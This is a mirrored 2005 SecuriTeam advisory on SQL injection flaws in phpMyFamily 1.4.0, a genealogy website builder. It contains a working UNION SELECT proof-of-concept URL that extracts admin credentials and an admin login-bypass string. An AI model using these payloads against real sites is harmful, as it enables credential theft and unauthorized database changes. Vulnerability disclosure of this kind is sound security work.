The OpenNET Project
 
Search (keywords):  SOFT ARTICLES TIPS & TRICKS SECURITY
LINKS NEWS MAN DOCUMENTATION


[UNIX] phpMyFamily SQL Injection


<< Previous INDEX Search src Set bookmark Go to bookmark Next >>
From: SecuriTeam <support@securiteam.com.>
To: [email protected]
Date: 23 Mar 2005 19:34:17 +0200
Subject: [UNIX] phpMyFamily SQL Injection
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-Id: <20050324083713.081D9581D@mail.tyumen.ru.>
X-Virus-Scanned: antivirus-gw at tyumen.ru
X-Spam-Status: No, hits=2.953 tagged_above=2 required=5 tests=AWL, LONGWORDS,
 MSGID_FROM_MTA_ID
X-Spam-Level: **

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html 

- - - - - - - - -




  phpMyFamily SQL Injection
------------------------------------------------------------------------


SUMMARY

 <> phpMyFamily is "a dynamic genealogy website builder which allows 
geographically dispersed family members to maintain a central database of 
research which is readily accessible and editable".

phpMyFamily has been found to contain an SQL injection that allow 
attackers to read, change and delete information at the database.

DETAILS

Vulnerable Systems:
 * phpMyFamily version 1.4.0

The script files people.php, track.php, edit.php, document.php, 
census.php, assthru.php and other PHP files that come with phpMyFamily 
have been found to contain SQL injection vulnerabilities.

The cause of SQL injection is the lack of variable filtering and the usage 
of the variables inside SQL queries.

Proof of Concept:
http://&#091;host]/[path]/people.php?person=00002' UNION SELECT NULL, password, 
NULL, username, NULL, NULL,NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 
NULL, NULL, NULL FROM family_users WHERE admin='Y' LIMIT 1,1

The above SQL code selects first the admin user and returns its with login 
and password.

It is also possible to login as administrator without a password by using 
the following as the login and password:
Login: ' OR 'a'='a' AND admin='Y'/*
Password: (empty)


ADDITIONAL INFORMATION

The information has been provided by  <mailto:kre0n@mail.ru.> kre0n.




This bulletin is sent to members of the SecuriTeam mailing list. To unsubscribe from the list, send mail with an empty subject line and body to: [email protected] In order to subscribe to the mailing list, simply forward this email to: [email protected]

DISCLAIMER: The information in this bulletin is provided "AS IS" without warranty of any kind. In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

<< Previous INDEX Search src Set bookmark Go to bookmark Next >>



Партнёры:
PostgresPro
Inferno Solutions
Hosting by Hoster.ru
Хостинг:

Закладки на сайте
Проследить за страницей
Created 1996-2025 by Maxim Chirkov
Добавить, Поддержать, Вебмастеру